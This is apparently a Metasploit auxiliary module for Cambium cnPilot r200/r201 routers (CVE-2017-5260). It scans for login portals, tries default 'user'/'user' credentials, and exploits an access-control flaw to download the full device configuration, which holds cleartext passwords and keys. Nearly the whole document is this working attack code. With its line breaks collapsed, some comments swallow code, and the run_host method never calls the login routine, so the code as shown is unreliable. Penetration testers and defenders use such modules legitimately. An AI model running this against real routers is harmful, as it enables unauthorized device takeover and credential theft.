Cambium CnPilot R200/r201 Login Scanner And Config Dump

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Auxiliary::CNPILOT  def initialize(info = {})    super(update_info(info,      'Name' => 'Cambium cnPilot r200/r201 Login Scanner and Config Dump',      'Description' => %{        This module scans for Cambium cnPilot r200/r201 management login        portal(s), attempts to identify valid credentials, and dump device        configuration.        The device has at least two (2) users - admin and user. Due to an        access control vulnerability, it is possible for 'user' account to access full        device config. All information, including passwords, and keys, is stored        insecurely, in clear-text form, thus allowing unauthorized admin access to any        user.      },      'Author' =>        [          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'        ],      'References' =>        [          ['CVE', '2017-5260'],          ['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']        ],      'License' => MSF_LICENSE     )    )    register_options(      [        OptInt.new('TIMEOUT', [true, 'HTTP connection timeout', 10]),        Opt::RPORT(80),  # Application may run on a different port too. Change port accordingly.        OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'user']),        OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'user'])      ], self.class    )  end  def run_host(ip)    unless is_app_cnpilot?      return    end  end  #  # Login & initiate dump_config  #  def run_login    each_user_pass do |user, pass|      cookie = do_login(user, pass)      if cookie == 'skip'        # do nothing      else        dump_config(cookie)      end    end  end  #  # Dump device configuration  #  def dump_config(the_cookie)    res = send_request_cgi(      {        'uri' => '/goform/down_cfg_file',        'method' => 'GET',        'cookie' => the_cookie,        'headers' => {          'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'        }      }    )    if res && res.code == 200 && res.headers['content-disposition']      print_status("#{rhost}:#{rport} - dumping device configuration")      print_good("#{rhost}:#{rport} - Configfile.cfg retrieved successfully!")      loot_name = 'Configfile.cfg'      loot_type = 'text/plain'      loot_desc = 'Cambium cnPilot Config'      path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body, loot_desc)      print_good("#{rhost}:#{rport} - File saved in: #{path}")    else      print_error("#{rhost}:#{rport} - Failed to retrieve config. Set a higher HTTPCLIENTTIMEOUT and try again.")      return    end  endend